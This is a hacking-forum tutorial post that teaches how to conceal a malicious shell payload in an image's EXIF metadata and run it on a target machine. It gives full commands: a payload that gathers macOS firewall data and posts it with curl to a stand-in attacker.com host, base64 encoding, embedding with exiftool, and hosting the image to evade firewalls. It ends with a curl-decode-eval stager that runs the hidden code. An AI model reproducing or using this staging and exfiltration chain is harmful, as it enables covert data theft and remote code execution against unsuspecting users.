![]() |
|
[Hack Mac/Linux] Concealing payloads inside image metadata - Printable Version +- Hack Forums (https://hackforums.net) +-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45) +--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449) +---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4) +----- Forum: Hacking Tutorials (https://hackforums.net/forumdisplay.php?fid=47) +----- Thread: [Hack Mac/Linux] Concealing payloads inside image metadata (/showthread.php?tid=6105744) |
[Hack Mac/Linux] Concealing payloads inside image metadata - SIM-1980240 - Aug 28, 2020 In this tutorial, I will teach you how to hide malicious commands inside an image's EXIF data. The attacker can post the picture to a public whitelisted photo-sharing website to evade firewall detection so that everyone can download it. We will also build a stager is used to download and extract the embedded code within the images EXIF data and run our command on the target machine. Requirements:
Step 1: Download an Image To get started, we will first need to download an image. It can be any image you like. For this demonstration we will be downloading my avatar logo. Code wget 'https://hackforums.net/uploads/avatars/avatar_1980240.png?dateline=1596985261' -O image.jpgStep 2: Building the Payload This command uses the Macs system_profiler command to execute a situational awareness attack. Then it uses curl to exfiltrate the data back to the attacker. Code ~$ printf 'd=$(system_profiler SPFirewallDataType);curl -s --data "$d" -X POST http://attacker.com/index.php' | base64 | tr -d '\n'Code cat /path/to/any_script.sh | base64 | tr -d '\n'Step 3: Embed the payload into an image Install exiftool Code apt-get update && apt-get install exiftool -VCode exiftool -all= image.jpgCode exiftool -Certificate='ZD0kKHN5c3RlbV9wcm9maWxlciBTUEZpcmV3YWxsRGF0YVR5cGUpO2N1cmwgLXMgLS1kYXRhICIkZCIgLVggUE9TVCBodHRwOi8vYXR0YWNrZXIuY29tL2luZGV4LnBocA==' image.jpgStep 4: Upload our image to a website Finding a good website can be difficult because most image hosts like imgur sanitize the EXIF data automatically, to protect their users from cyberstalkers. This site should work fine though: https://www.flickr.com/ Make sure you upload to a site that enforces HTTPs to avoid allowing people to detect the payload in the EXIF data. Step 5: Build the stager Code ~$ p=$(curl -s https://website.com/image.jpg | grep Cert -a | sed 's/<[^>]*>//g' | base64 -D);eval $p
Congratulations, your payload is complete. This is the end of the tutorial, stay tuned and I will be posting more tutorials like this one. |